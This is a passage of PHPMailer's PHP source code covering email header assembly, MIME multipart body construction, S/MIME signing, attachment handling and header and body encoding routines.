            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
